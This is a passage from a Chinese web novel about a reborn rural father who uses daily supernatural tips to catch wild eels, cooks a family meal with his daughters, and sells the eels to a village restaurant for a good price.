交三粮五钱,添置家当,可手里只剩下两百七十一块五。 其中,五十块还要用来付给自行车的尾款。 这样来回乡里卖货能快不少,而手表也得尽快弄到手,要不然错过情报的时间就得不偿失了。 但减去要交的三粮五钱一百二十,手里也就剩一百零一块五。 这钱,也买不起手表,但买个大圆桌应该够了。 如今买了地笼和鳗鱼笼,明天得试试,万一情报能配上用场呢? 这么想着,他心里又充满了期待,迷迷糊糊睡了过去。 次日,江涛被一阵荷包蛋的香气唤醒。 他睁开眼,窗外天刚蒙蒙亮,几个丫头还在呼呼大睡。 “来,赶紧吃了。” 林月柔将一碗热腾腾的面疙瘩汤端到了他面前。 是昨晚吃剩下的面条汤,因为太稀,又扬了些面粉,煮得稠稠的,上面还卧着个荷包蛋,洒了些葱花。 “我先洗漱。” 江涛起身,用冷水抹了把脸,清醒了些。 回到灶台边,他看了一眼,自己的碗明显稠厚得多,鸡蛋也卧在里面,林月柔碗里的就稀些,只有些面片和汤水。 “你吃我这个。” 江涛拿起筷子就要拨鸡蛋。 “你吃你的!” 林月柔按住他的手,“你天天在外面跑,干的又是力气活,不吃饱怎么行?我和丫头们在家,随便对付点就行。快吃吧,凉了腥气。” 江涛看着她清瘦的脸,心里不是滋味。 家里日子紧巴,但她对他从来是舍得。 算了,与其在这里推来让去,不如赶紧想办法多挣钱,让一家人都能吃上饱饭。 他不再推让,埋头大口吃起来。 面疙瘩劲道,汤汁浓郁,荷包蛋煎得外焦里嫩,一咬蛋黄就流出来,混着面汤,又香又顶饱。 这时,江招娣揉着眼睛也醒了。 “招娣,快来。” 江招娣懵懵懂懂地走过来。 江涛拿来只碗,用筷子将荷包蛋分成两半,夹了一大半放进碗里。 “多吃点,长身体。” “爸爸……” 江招娣看着碗里金黄的蛋黄,“我吃不了这么多,你吃吧。” “快去洗漱,赶紧吃了还得干活呢。” 江涛拍拍她的头,自己三两口将剩下的吃完,只觉得浑身都是劲儿。 刚放下碗,一行熟悉的字迹便在脑海中清晰浮现。 【每日情报:今日午时,渡口码头下游三里,老槐树旁淤泥滩,有数条野生鳗鱼藏匿,可下鳗笼。】 鳗鱼? 真是想什么来什么? 江涛心头一阵狂喜。 昨天刚置办下鳗鱼笼,今天的情报就来了! 这要是能抓到,哪怕只有一条,也抵得上几十斤普通鱼虾了! 要知道野生鳗鱼的价格可是金贵得很,送到大饭店,一斤能卖到十几二十块。 虽说只有几条,但那价值,恐怕比几十斤的黄颡鱼还要高得多! “招娣,快吃,吃完咱们得赶紧出发!” 江涛立刻站起来,将昨天买的鳗鱼笼和地笼全都拿了出来,又带上抄网和撒网,用扁担两头挑了。 “爸爸,今天要去抓什么好东西呀?” 江招娣三两口将面疙瘩和鸡蛋吃完,抹抹嘴,拎上两个水桶。 “好东西!” 江涛笑道,“咱们去下鳗鱼笼,运气好说不定能抓到几条野生鳗鱼。那边顺便下几个地笼,万一有小鱼小虾,螃蟹之类的,也能给你和妹妹们改善伙食。” “鳗鱼?那得可值钱了!” 江招娣眼睛一亮,立刻帮忙拿东西,“妈妈,我们走了!” “哎,路上小心,中午早点回来。” 林月柔送到门口,看着父女俩急匆匆的背影,心里又是期待,又是担忧,但更多的是对好日子的盼头。 第21章 终于有货了 刚出家门,就碰见赵老头也扛着渔网准备去江边。 “赵叔早啊。”江涛打了个招呼。 赵老头一看江涛这架势,扁担一头挑着撒网、抄网,另一头挂着地笼、鳗鱼笼和水桶。 忍不住摇头,“涛子,带这么多东西啊?不知道的还以为你是去卖渔具呢?” “去打渔啊,得先想好了去哪里,是下深水还是近岸,是捞鱼还是逮虾,再带相应的趁手工具。你这大包小包的,不是白费力气吗?” “赵叔,我也不知道会碰到什么,” 江涛笑道,“所以就什么都带了,碰运气呗。” “唉,年轻人,经验还是不够啊。” 赵老头摇摇头,扛着渔网往江边走去。 这江涛到底是新手。 瞎猫碰上死耗子捞了几次好东西,还真以为江里随手就能捡宝贝? 到了江边,赵老头特意驻足,想看看江涛往哪个方向去。 等了一会儿,见他带着女儿径直往下游走,更是连连摇头。 下游水道宽阔,水势看似平缓,实则水下暗流复杂。 近岸多是淤泥浅滩,少有鱼群聚集,老打渔的都清楚,那地方费力不讨好。 他不再理会,看了看灰蒙蒙的天,走到江边一片茂密的芦苇丛。 从中摸索着拖出一条小舢板,跳上去,熟练地划着桨,往江心水深处去了。 这边,江涛带着江招娣,找到渡口,便沿着江堤往下游走去。 每日情报说鳗鱼在下游三里,老槐树旁。 走了约莫二十来分钟,父女俩果然瞧见一棵歪脖子老槐树,孤零零地杵在江堤边,枝叶倒是茂盛。 早年为了防洪固堤,江边种了不少树。 但这些年疏于管理,树木被人砍了不少当柴烧,或是因为江水冲刷,就剩下零星几棵,隔老远才能看见一棵。 “爸爸,这里水都快干了,会有鱼吗?” 江招娣有些怀疑。 眼前是一片浅浅的淤泥滩,水洼稀疏,水草长得有人高,怎么看都不像有鱼的样子。 江涛也皱了皱眉。 这片滩涂地势较高,只有退潮后江水漫过来形成的一些小水坑。 要搁以往,他也会觉得这里毛都不会有。 但每日情报可不会出错。 “应该有吧。” 江涛打量着周围,努力回忆着前世道听途说的关于鳗鱼的零碎知识。 鳗鱼喜欢钻洞,常在泥岸、石缝、树根底下打洞藏身,昼伏夜出,尤其喜欢阴暗、潮湿、有遮蔽物的地方。 眼前这片淤泥滩,杂草丛生,水洼边还有不少水老鼠洞和螃蟹洞。 说不定真藏着好东西。 “招娣,找找有没有那种不大不小的圆洞,洞壁光滑的可能就是鳗鱼洞。” 父女俩弯着腰,在滩涂边的水线附近细细搜寻起来。 找了约莫一刻钟,果然在几个不起眼的角落发现了七八个大小合适的洞口。 洞口圆润,内壁光滑,不像是老鼠洞那么粗糙,也不像螃蟹洞有挖出的新泥。 江涛心里有了几分把握。 每日情报说午时,但鳗鱼怕光,一般都是夜晚出来觅食。 今天天色不好,灰蒙蒙的,想来鳗鱼胆子能大些。 他拿出带来的鳗鱼笼,用树枝挑了些蚯蚓折断了放进去当诱饵。 然后,小心翼翼地将笼口对准洞口,抠起几把湿泥,把笼口和洞口的接缝处细细糊上拍实,一点缝隙都不留。 又从旁扯了些茂密的水草,轻轻盖在笼身上,确保没有光线进去惊扰。 鳗鱼笼入口有个倒须,鳗鱼能钻进去,却不容易出来。 这样一来,鳗鱼从洞里往外游,一探头就正好钻进笼口,顺着倒须进去,再也退不出来。 如此这般,父女俩在找到的七八个可疑洞口都下了笼子。 忙活完,感觉天色还早,离午时还有段时间。 江涛让江招娣在附近折些芦苇杆子,自己则去查看哪些地方适合下地笼。 地笼沉到水里,鱼虾进去就出不来了。 只是这片水洼太浅,地笼放下去效果不好。 得到水稍深的地方,只要时间足够,鱼虾自会钻进去。 但江边人来人往,地笼放在这儿过夜,十有八九会被手脚不干净的人顺走。 要想短时间内有收获,必须放点饵料吸引鱼虾。 没有趁手的工具,蚯蚓找不到多少,江涛便在水边石头底下摸到几只小蛤蟆。 将蚯蚓掐成几段,和蛤蟆一起塞进地笼里,然后将地笼沉到几个稍深,有水流交汇的水洼里。 用石头压住一端,另一端的绳子用根粗树枝固定在水边。 做完这些,江涛和江招娣坐在老槐树下,一边将折来的芦苇杆子捆好,一边盯着那些下了笼子的地方。 没有手表也不知道时间,父女俩只能干等。 肚子有些饿了,估摸着快到中午了。 江涛没敢直接去查看鳗鱼笼。 万一鳗鱼警惕性高,暂时还没出来,惊动了就得不偿失了。 “招娣,你在这看着,我去看看地笼。” 江涛决定先看看地笼有没有收获。 反正有货也好,没货也罢,本来就只是顺手的事。 提溜着第一个地笼上岸,倒出来一看,只有零零散散几个指甲盖大的小虾米。 他摇摇头,将虾米捡进带来的水桶里,蚊子腿再小也是肉。 接着提起第二个地笼,依旧收获寥寥,只有两条细细的小泥鳅,还有几个螺蛳。 “看来这地笼短时间效果不怎么样。” 不过,江涛也没太失望,毕竟今天的主菜是鳗鱼。 当他提起第三个地笼时,手上感觉沉了许多。 江涛心头一跳,用力将地笼提出水面,透过网眼一看,里面影影绰绰,竟有东西在动! “终于有货了!” 他赶紧将地笼提到岸上,解开尾部的扎口,往地上一倒。 “哗啦”一声,东西倒了一小堆。 除了几条手指长的杂鱼,几只挥舞钳子的螃蟹,还有不少活蹦乱跳的河虾,个头不算很大,但数量可观,足有一斤多! “爸爸,有好多虾!” 江招娣一直盯着这边,看到收获,立刻欢呼着跑来帮忙捡。 “嗯,这下中午有虾吃了。” 江涛也挺高兴,将鱼虾螃蟹分开装进水桶。 接着看剩下的两个地笼,收获也都差不多。 每搁地笼都有些杂鱼、河虾和螃蟹,加起来又是一小堆。 虽不是什么值钱大货,但给家里添个菜,给孩子们解解馋还是可以的。 父女俩蹲在桶边,美滋滋看着游动弹跳的鱼虾。 江招娣小心戳了戳一只张牙舞爪的螃蟹,差点被它夹了手指。 “涛子,还不回去啊?” 第22章 收获丰厚 “涛子,还不回去啊?” 江涛回头一看,是赵老头。 扛着渔网,网兜沉甸甸的,看样子收获不错。 赵老头今天在深水处下了几网。 打到了十几斤鱼,有两条不小的江鲢,还有几条肥嘟嘟的青鳙。 他心里正美,却想起昨天吃了江涛给的黄颡鱼,便顺路过来看看。 怕这小子傻愣愣在江边待到天黑,万一涨潮了会有危险。 “赵叔,是您啊。马上就回。”江涛笑着站起身。 赵老头走近,瞥了一眼江涛桶里的鱼虾,又看了看旁边几个空空的地笼网,嘴角不易察觉地撇了撇。 就这点小鱼小虾,加起来怕是只有两三斤吧,看把他高兴的。 果然是新手,没见过什么大世面。 “早点回去吧,下午要涨大潮。” 赵老头扛着渔网,背着他那沉甸甸的收获,心满意足地走了。 等他走远,江涛这才深吸一口气,对江招娣做了个“嘘”的手势,示意她别出声。 两人放轻脚步,来到第一个下鳗鱼笼的洞口。 江涛的心跳有点快。 他屏住呼吸,先用手轻轻拨开盖在笼身上的水草,然后小心翼翼抠掉糊在笼口和洞口接缝处的湿泥。 鳗鱼笼入手,比下笼时沉了一些,能明显感觉到里面有东西在有力地扭动撞击着笼壁! 成了! 江涛心头大喜,动作更加小心。 他慢慢将笼子整个提出来,透过笼口,只见竹笼里,一条足有小臂粗细,鳞片闪着幽暗光泽的大鳗鱼,正弓着身子在里面疯狂挣扎,撞得笼子簌簌作响! “是鳗鱼!好大!” 江招娣激动地小声叫道,眼睛瞪得溜圆。 江涛将这条大鳗鱼轻轻倒进空水桶里,桶里早已打了小半桶清水。 鳗鱼一入水,立刻舒展开身体,贴着桶壁快速游动,显得凶猛而充满活力。 “走,下一个!” 父女俩压抑着兴奋,挨个去收其他几个鳗鱼笼。 第二个笼子稍微轻点,但里面也有一条,比第一条小些。 第三个笼子是空的。 第四个笼子又给了他们一个惊喜,里面竟然有两条! 一大一小,互相缠绕着。 第五个笼子有一条。 第六个笼子又落空了。 第七个,也是最后一个笼子,分量沉甸甸的,提出来一看,里面赫然挤着三条! 其中最大的一条,比第一条还要粗壮,黝黑发亮,在笼子里拧成麻花,力量大得几乎要挣破竹笼! 清点下来,七个鳗鱼笼,竟然抓到了六条野生鳗鱼! 而且个头都不小,最小的也有一斤,最大那条怕是有三斤多重! 看着水桶里这六条活蹦乱跳,价值不菲的“水中黄金”。 江涛激动得手都有些发抖。 这一下,家里用钱的压力,瞬间减轻了一大截! 今日收获丰厚,也该回去了。 江涛将地笼收拾捆好,鳗鱼笼也捆在其中,一边挑着渔网,另一边挑着那桶鳗鱼,上面盖着撒网。 江招娣背着芦苇杆,拿着抄网,拎着一桶杂鱼小虾。 父女俩快步往回走。 “涛子,又打到什么好东西了?”路上,有村民见了饶有兴致凑过来。 “没什么,搞了些小鱼小虾。” 江涛不想露富。 江招娣立刻机灵地将手里的桶给村民看,“就捞了些小鱼小虾,没多少。” 村民探头看了看,确实是小鱼小虾为主,没见着什么大货。 “还真是,这次不如之前捞的那些了。” “哪能天天运气好呢。” 江涛笑了笑,应付过去。 几个在暗处观望的闲汉听见动静,又看村民都证实没啥值钱大货,也就没动歪心思。 他们听宋二的,这两天暗中观察江涛。 可他们闲散惯了,哪会跟着去江边吃苦,只是在村口或路边蹲点。 看到有大货就想着抢,当然也要看有没有人在场。 不过,江涛这次就捞到点小鱼小虾就算了,不值当冒那个风险。 反正宋二说,迟早会给江涛来个大的。 江涛和江招娣算是安稳回到家里。 林月柔将大米饭早就闷好了,还炒了青菜肉丝,蒸了葱花炖蛋。 见江涛一直没回来,她真想去江边看看。 可家里几个丫头又不能离人,所以一直心神不宁地在门口张望。 见江涛和江招娣回来,立刻迎了上去。 “妈妈,捞着些小鱼小虾,今天中午刚好可以添个菜!” 江招娣放下芦苇杆,提着桶,献宝似的给林月柔看。 隔壁,赵老头站在自家门口,故意大声显摆,“老婆子,挑个江鲢,中午咱们红烧了吃!” “挑什么挑?” 赵老太没好气地白了他一眼,“这么大的鱼,你不拿到乡里卖掉?就知道吃!这马上要交三粮五钱了,多卖一分是一分!” 赵老头被骂得缩了缩脖子。 其实,他也舍不得吃,这不是想显摆一下自己的战果,在老婆子面前找回点面子嘛。 林月柔接过水桶,里面是活蹦乱跳的小鱼小虾,还有泥鳅和几只张牙舞爪的螃蟹。 这可是好东西,能给孩子们添不少油水。 “招娣,将剪刀和盆拿过来,我这就收拾了。” “好的。” 江招娣赶紧拿来剪刀和一个小盆。 林月柔抓起一只螃蟹,动作麻利地剪掉蟹钳尖,这样就不会夹人了。 她又找来一只旧牙刷,刷干净蟹壳蟹肚,以及蟹腿缝隙里的泥垢。 几只螃蟹不一会儿就收拾冲洗干净。 接着,处理杂鱼。 小鱼个头小,不用太精细。 刮掉鱼鳞,掐掉鱼头,去除鱼肠,用清水冲洗几遍就干净了。 泥鳅滑不留手,她用刀背“啪”地一拍泥鳅脑袋,泥鳅就不动了。 用剪刀豁开肚子,将内脏和那层滑溜溜的粘液刮掉,也用清水洗净。 这东西很鲜,可以跟豆腐一起蒸。 小虾没什么好处理的,直接用水冲洗干净就行。 “江涛,要不去买几块豆腐?” 林月柔抬头问道。 江涛刚安置好鳗鱼出来,“好的,这就去。” 他应了一声,转身就往外走。 小卖部老邹见江涛又来了,立刻喜上眉梢。 “涛子,今天来买点什么?” “老邹,照例来几块豆腐。” “哎,好嘞!” 同样扔下五毛,江涛拎着豆腐回到家。 江招娣正烧着火,而林月柔已在灶台边忙活。 “你歇着,我来吧。” 江涛很自然地接过锅铲。 林月柔只好退到一边,用围裙擦了擦手,看着丈夫忙碌的背影,心里有种说不出的安稳。 她在旁边递这递那,将切好的葱姜蒜和洗净的鱼虾准备好。 江涛在锅里倒了菜籽油。 等油微微冒烟,将准备好的姜片和拍扁的蒜头丢进去爆香。 刺啦一声,香味就出来了。 收拾好的杂鱼、泥鳅和小虾倒进锅里,旺火快煎,鱼虾表面很快变得金黄焦脆。 然后倒入料酒,烹出香味,又加了酱油和盐,翻炒均匀后,加入没过食材的清水。 “招娣,火大点,烧开。” “哎!” 等锅里汤汁咕嘟咕嘟翻滚起来,江涛将豆腐切成块,放进锅里一起炖煮。 另一个锅里,米饭已被林月柔盛了出来,里面正蒸着几只螃蟹。 灶膛里火苗跳跃,两个锅里都冒着热气。 鱼虾的鲜、豆腐的醇、还有隐隐的蟹香混在一起,弥漫在整个灶间,勾得人食指大动。 炖煮了约莫一刻钟,汤汁收得浓稠。 江涛撒上一把切得细细的葱花,另一边,蒸蟹红彤彤的,看着就喜庆。 “开饭啦!” 第23章 鳗鱼王 “开饭啦!” 热气腾腾的小鱼虾杂炖豆腐,红亮诱人的蒸螃蟹,油汪汪的青菜炒肉丝,嫩滑的葱花炖蛋,还有香喷喷的大米饭摆满了灶台。 “过年,吃好的。” 老八欢快地拍着小手。 饭菜如此丰盛,在她小小的认知里,可不就是堪比过年嘛。 “笨老八,这可不是过年。” 老三江来娣学着大人的样子,叉着腰,老气横秋地纠正。 “三姐聪明。” 老八立刻改口,小脸一脸讨好,生怕哪里不对又被姐姐教训。 “三妹,别总是说老八笨。”江招娣拿出大姐的样子。 “哦,知道了。” 江来娣立刻收起威风,吐了吐舌头,不敢再造次。 江涛在旁看得有趣。 这大概就是血脉压制了。 这么多丫头,要是事事都让他和林月柔来管,还真是费事。 但有招娣这个懂事又能干的小管家,可就轻松多了。 难怪老话都说长姐如母呢。 “行了,招娣作为大姐,以后管着妹妹们的事,就交给你了。” “大姐,我要那块豆腐!” 江来娣来劲,立刻指着盆里最厚实的一块。 “行,大姐给你夹。” 江招娣进入角色,小心夹起那块豆腐,正要放进江来娣碗里。 “我也要,我也要。”几个丫头纷纷举碗。 “都有份,别急。” 江招娣挨个给妹妹们夹豆腐。 既要分得均匀,又不能厚此薄彼,小脸都绷紧了。 这事看着简单,做起来真不容易。 要一碗水端平可费心思了,也不知道爸爸是怎么举重若轻的。 江涛看着,很是欣慰。 有招娣在中间协调,他这个当爹的真轻松不少。 “大姐,我要螃蟹!” 老二江盼娣早盯上那几只红彤彤的家伙。 江招娣有些无语,“自己拿吧,二妹你又不是小孩子,瞎凑什么热闹?” 江盼娣撇撇嘴,伸手拿了最大一只。 可惜不知道如何下手,急得对着螃蟹壳又掰又抠。 “二姐,” 老四凑过来,抓起一只螃蟹轻轻一掰,露出雪白的蟹肉,“这样轻轻一掰就开了。” “四姐好厉害!” 老八拍着小手喝彩。 “没想到老八还是个小话痨。” 江涛笑着用勺子舀了点嫩豆腐和鱼汤,吹凉了喂到她嘴里。 老八满足地咂咂嘴,“爸爸好,爸爸好。” 江涛揉了揉她的小脑袋,又拿起一只最肥的螃蟹,利落地拆开蟹壳,金黄的蟹膏露了出来。 他小心用筷子将蟹膏分成几份,挨个放进几个女儿碗里。 幸好螃蟹够大,要不然还不够分。 “爸爸,这黄黄的是什么呀?真香!”老五尝了一口,眼睛都亮了。 “这叫蟹膏,是螃蟹身上最宝贝的东西。” 江涛笑着解释,“好吃就多吃点。” “爸爸你也吃!” 江招娣将碗里的蟹膏夹到江涛碗里。 “爸爸不吃,你们吃。” 江涛又把蟹膏夹回去,“爸爸喜欢吃鱼头。” 说着,他夹起一个煎得焦香的鱼头,有滋有味地嘬起来。 老三江来娣对螃蟹兴趣不大,但对盆里的泥鳅情有独钟。 她夹起一条炖得软烂入味的泥鳅,小口小口地吃着,连骨头都舍不得吐。 老六好奇,“三姐,泥鳅有那么好吃吗?” “可好吃了,软软香香的比肉还好吃!” 江来娣夹了一条放到老六碗里,“你尝尝。” 老六尝了一口,“嗯,还真是。” “那我也尝尝。” 老五和老七见了,也夹了一条泥鳅,“嗯,还真是好吃啊。” 几个丫头你一言我一语。 这个说豆腐吸饱了汤汁最好吃,那个说小虾炸得脆脆的最香,还有的说螃蟹腿肉最甜。 虽都是些不值钱的小鱼小虾,但在她们眼里,这顿午饭比过年还丰盛。 江涛一边照顾老八,一边看着女儿们吃得香甜,心里那点对上辈子的悔恨和愧疚,也被这满屋的温馨一点点熨平了。 他夹了块鱼肉,仔细挑干净刺,放进林月柔碗里。 “你多吃点,这几天辛苦了。” 林月柔心里暖暖的。 谁能料到,前几天他们家连四个鸡蛋都要分成八份。 如今一家人围坐,却能吃上这样一顿有鱼有虾、有肉有蛋的饱饭了。 嫁汉嫁汉,穿衣吃饭。 以前认命觉得嫁错了人,苦日子熬不出头。 可现在江涛改了,这日子就突然有了盼头。 一顿饭吃完,几个丫头个个拍着溜圆的肚子。 “哎呀,我感觉吃多了,下次可不能吃这么多了。” 老二江盼娣打了个小饱嗝。 “你下次还会吃多的!” 老三江来娣毫不留情地戳穿。 “是啊,太好吃了,根本就忍不住嘛。”老四老五也跟着附和。 几个丫头嘻嘻哈哈地笑作一团,脸上是前所未有的满足和快乐。 江涛在旁笑笑,没加入她们的讨论,开始收拾那六条野生鳗鱼,准备去乡里卖掉。 这鳗鱼皮实,离水能活挺久,养几天都没事,省得他天天往乡里跑。 但想着养在家里占用盆和桶,还要时刻注意别跑了死了,不如还是尽快去乡里换成现钱踏实。 正收拾着,铁牛来了,手里拿着昨天盛鱼的碗,还有两个装米面的空袋子。 “涛子,在家呢,碗和袋子给你送过来。” “铁牛叔,你早点来就好了,刚好可以跟我们一起吃饭。”江招娣有些遗憾。 “来晚也没事啊,那还有青菜肉丝没动呢,铁牛,给你盛碗饭?”林月柔要去拿碗。 “不了不了,我吃了午饭过来的。” 铁牛连忙推辞。 其实,他早就来了,只是到了江涛家门口,听见里面一家人正热热闹闹地吃饭,他没好意思进去打扰,一直在外头树荫下等着。 直到估摸着吃得差不多了,又等了一会儿,听到江涛开始收拾东西才出现。 除了还碗和袋子,也是看看江涛今天是不是要去乡里,他好护送一程。 这两天,他注意到村里那几个闲汉好像老在江涛家附近晃悠,不太放心。 “涛子,待会去乡里?”铁牛问。 “是啊,打算去一趟。”江涛点头。 “那我跟你一起去。” 铁牛说得理所当然,不容拒绝。 他别的没有,就有一身力气,陪着走一趟,万一路上有什么事,也能帮上忙。 江涛看着他黝黑脸上憨厚坚定的神情,心里明白他是好意,也不好再拒绝。 “行,那就麻烦你了。” 反正到时卖了鱼,照样给铁牛辛苦费,也是变相帮衬兄弟一把。 铁牛编芦苇席卖,挣不了几个钱,平白无故给他,他肯定不会要,这样挺好。 今天鳗鱼卖了,就能把那五十块自行车尾款结清,还能在乡里买张大圆桌回来,以后一家人吃饭就方便了。 两人很快收拾好,用桶将六条活蹦乱跳的鳗鱼分成两桶,扁担一挑出了门。 江招娣吃得太饱了,这次就没让她跟着。 省得走路太多,将肠胃给颠下垂了。 两人刚出家门,碰见赵老头也扛着渔网,网兜沉甸甸的,看样子也是去乡里卖鱼。 赵老头红光满面,非常得意。 这次他在江心下了几网,打到了十几斤大鱼,两条江鲢尤其肥壮,能卖上几十块呢! 要知道镇上工人一个月工资也才几十,他这一天就顶人家一个月工资,心里怎能不美? 看到江涛和铁牛挑着水桶,赵老头一愣,“涛子,你这是?” “赵叔,我去乡里把鱼卖了。”江涛笑着应道。 “卖鱼?” 赵老头纳闷了。 中午不都看江涛家用那点小鱼小虾加菜了吗? 这哪还有鱼卖? 难道上次的黄颡鱼还没卖完? 也是,到乡里零卖是需要时间的,一天卖不完也正常。 他好奇地凑过去,想看看桶里还有多少。 但只一眼,赵老头就瞪大了眼睛,嘴巴半天没合上。 “这!” 桶里哪是什么黄颡鱼,竟是六条粗壮肥硕的野生鳗鱼! 个个鳞片闪着幽暗光泽,在桶里不安地扭动。 其中,最大的那条,简直堪称“鳗鱼王”! “我的老天爷!涛子,你这、你这是鳗鱼王啊!这么大,还这么多条!你这是……你这是掏了龙王爷的鳗鱼窝了?” 赵老头激动得声音发颤,看向江涛的眼神充满了难以置信和羡慕。 他打了一辈子鱼,也见过偶尔捞到的鳗鱼,可像这样个头,这样成色的却是少之又少! 而一次性抓到六条的,简直是闻所未闻! 这小子,到底是什么运气?! 第24章 路子对 “涛子,这条最大的超过三斤了吧?” 赵老头看着那条鳗鱼王,啧啧称奇,“这成色,这分量,要是拿到县里大饭店,指不定能卖三十块一斤!这一条可就将近一百了,啧啧。” “有这么贵啊?” 铁牛也听得咋舌。 一条鱼就能卖一百块,他得编多少张席子才能攒下? “那可不?” 赵老头说得斩钉截铁。 他打渔时间长,虽自己没捞到过这么大的,但行情却是门清。 “这野生江鳗,是上等滋补品,大饭店就认这个!乡里能卖到二十几块一斤就不错了。送去县里,价钱绝对高一截!” “涛子,那咱们去县里吧?” 铁牛一听急了,乡里才卖二十几,这一下能差几十上百块钱呢。 这可不是小数。 江涛摇头,“不去了,太远了。今天就在乡里卖了。” “哎呀,涛子,那可是上百块的差价啊!” 铁牛着急坏了。 恨不得拉着江涛就往县里走。 赵老头也觉得可惜,“是啊,涛子,这鱼金贵,跑一趟县里也值。我认识个在县里开馆子的,要不我给你引荐引荐?” “不了,赵叔,铁牛,你们的心意我领了。” 江涛心里有自己的盘算。 去县里一来一回要大半天,人生地不熟,带着这么多值钱的货,路上也不踏实。 更重要的是,他昨天跟王老板定了自行车,今天说不定能见到。 还有买桌子的事。 去县里时间就耽搁了。 乡里东风饭店的蒋管事,价钱公道,卖了能马上拿到现钱,把该办的事都办了。 这上百的差价,眼下看来是不少,但他有每日情报在手,往后赚钱的机会多的是。 所以,没必要贪图这一时,眼下稳妥效率才最重要。 “就在乡里卖,省事。走吧,天不早了。” 说着,江涛挑起担子就往乡里方向走。 铁牛见他主意已定,也不好再劝,只得跟上,心里还在为那上百块的差价惋惜。 赵老头属实有些无语。 真是暴殄天物。 但别人家的事,他也不好多嘴。 最后只能摇摇头,扛着自己的渔网,想着自己那十几斤鱼,能卖个什么好价钱。 到了乡里,赵老头扛着十几斤鱼去了农贸市场。 他准备零卖。 批给熟悉的饭店或者水产公司,价格不可能太高。 反正左右费点时间,但多卖点钱才是真的。 而江涛则带着铁牛,径直挑着担子往东风饭店方向走。 铁牛路上还几次想开口,劝江涛别急。 但看江涛主意笃定,话到嘴边又咽了回去。 等到了东风饭店后厨小院门口,铁牛彻底闭嘴,但心里却在暗叹,这价钱怕是亏定了。 江涛上前敲门,照例是顾师傅开的门。 “涛子,我寻思着你这个点会来,果然来了,今天是什么好货啊?” 说着,顾师傅目光往江涛身后的水桶瞟。 江涛按老规矩给了一块钱,将水桶凑近给他看。 “顾师傅,是几条鳗鱼,您给看看。” 顾师傅伸头一看,惊得“嚯”了一声。 “涛子,这么大的野生鳗鱼啊?还是这么多条!” 江涛笑道:“是的,顾师傅,最大的有三斤多呢。” 铁牛在一旁听了,心里更不是滋味。 三斤多,按赵老头说的县里价钱,可就是一百块出头了。 卖到这儿,唉。 顾师傅定了定神,“涛子,这野生江鳗品相是真好,我得让蒋管事给你一个公道价,这货可不能糟践了。” “那谢谢您了。” 铁牛心里嘀咕,公道价? 可公道价又能给到多少呢? 乡里和县里,那能一样吗? 顾师傅将江涛和铁牛引进小院,让他们稍等,自己快步去请示蒋管事。 过了好一会儿,蒋管事才急风急火地出来,“涛子,捞着好货了?” “是啊,您掌掌眼?”江涛将桶往前推了推。 蒋管事低头一看,眼睛瞬间亮了。 他蹲下身,打量着桶里那几条粗壮肥硕,鳞片闪着幽暗光亮的江鳗。 尤其是那条最大的。 他越看越满意,脸上喜笑颜开。 “涛子,你可帮了我大忙了。” 蒋管事站起来,“这几天有大领导下乡视察工作,点名要尝本地的江鲜野味,饭店领导正为招待的菜犯愁呢,” “现在这么大的野生江鳗,简直是送上门的长脸好货!来得太是时候了!” “那敢情好。” 能帮上忙,江涛也很高兴。 铁牛却在一旁提着一颗心。 好货要配好价钱,可这蒋管事到底能给多少? “老顾,每条单独过秤,仔细着点。” 蒋管事大手一挥,“这样,涛子,咱们论条,看大小。这条最大的,还有这条,” 他指着两条格外肥壮的鳗鱼,“超过三斤的,三十块一斤。这两条,还有这条,” “超过两斤的,二十五块一斤。剩下这条小点的,一斤出头,就十八块一斤。涛子,你觉得这样如何?” “都行,蒋管事您看着给。” 江涛点头,心里对这个价钱也颇为满意。 乡里能给到县里的价,显然是人家蒋管事会做人。 铁牛在旁听得激动坏了。 这价钱给的,比他预想的乡里收购价可高多了! 比县里价差不多,省了多少事,省得冒了多少险? 简直太划算了! 涛子这路子走得对! 顾师傅立刻拿来一杆精致的小盘秤,又提来一个干净的空盆,开始逐条过秤。 铁牛也上前帮忙,小心翼翼地将鳗鱼从桶里抓到盆里。 鳗鱼滑溜有力,差点从他手里窜出去,惊得他出了一身冷汗,看得旁边的顾师傅和蒋管事都笑了。 “第一条,三斤二两。” “第二条,刚好三斤整。” “第三条,两斤六两。” “第四条,两斤三两。” “第五条,两斤一两。” “第六条,一斤整。” 顾师傅一边称,蒋管事就在旁边拿着个小本子飞快地记着。 “三斤二两,三十块一斤,是九十六块。” “三斤,是九十块。” “两斤六两,二十五块一斤,是六十五块。” “两斤三两,是五十七块五毛。” “两斤一两,是五十二块五毛。” “一斤,十八块。” 蒋管事心算非常了得,看着江涛,报出一个数字。 “总共是三百七十一块。涛子,你看这个数对不?” 三百七十一块! 铁牛只觉得脑子“嗡”的一声,几乎不敢相信自己的耳朵。 一天,就这六条鱼,能卖将近四百块?! 他这辈子都没见过这么多钱! 铁牛看向江涛的眼神充满了震惊和崇拜。 江涛心里也飞快地算了一遍,点点头,“蒋管事,对的,没错。” “行!” 蒋管事也很爽快,直接从口袋里掏出一沓钱,点出三十七张大团结,又拿出一张一元的纸币。 “这是三百七十一块,你点点。涛子,以后有这样的好货,一定要先想到我们东风饭店!” “一定,一定!谢谢蒋管事!” 江涛接过厚厚一沓钞票,心里踏实了。 这下,自行车、桌子、甚至手表,都宽裕了,还能剩下不少作为家里的周转和应急。 他迅速从中抽出一张大团结,趁顾师傅转身和铁牛没注意的功夫,不着痕迹地塞到蒋管事手里。 蒋管事手一沉,一愣,随即明白过来,不动声色地将钱握在了手心。 但看江涛的眼神更多了几分赞许和认可。 这小子,会来事,懂事。 江涛见他没拒绝,心里也踏实,知道这关系算是又进了一步。 “那蒋管事,顾师傅,我们不打扰了,先回去了。” “哎,好,路上慢点,下次有好货再来。”蒋管事笑着应道。 “涛子这小伙子,懂事,人也实诚,货还好。” 看着江涛和铁牛走远的背影,蒋管事对顾师傅说道。 “是啊,” 顾师傅也点头,“是个可交的年轻人。” 江涛和铁牛快步离开饭店。 铁牛还沉浸在刚才那震撼人心的数字里。 “涛、涛子,三百多块!我的娘哎,我是不是在做梦?” “不是梦,是咱们兄弟辛苦换来的。” 江涛笑着拍拍铁牛肩膀,抽出五张一元纸币塞到他手里。 第25章 大圆桌 “这是干什么?” 铁牛慌忙往回推,“涛子,这可使不得!我今天啥也没干,就跟着走了一趟,哪能拿这么多钱?” “拿着!就五块钱跟我推来推去的,你要是嫌少可以不要。” 江涛故意板起脸,按住他的手不让他退回来。 “我不是嫌少,是太多了……” 铁牛急得黑脸都红了。 但江涛态度坚决,手里五块钱看着又实在心动,他最终没再推拒。 “涛子,我……我……” “行了,什么也别说了,是兄弟就别见外。” 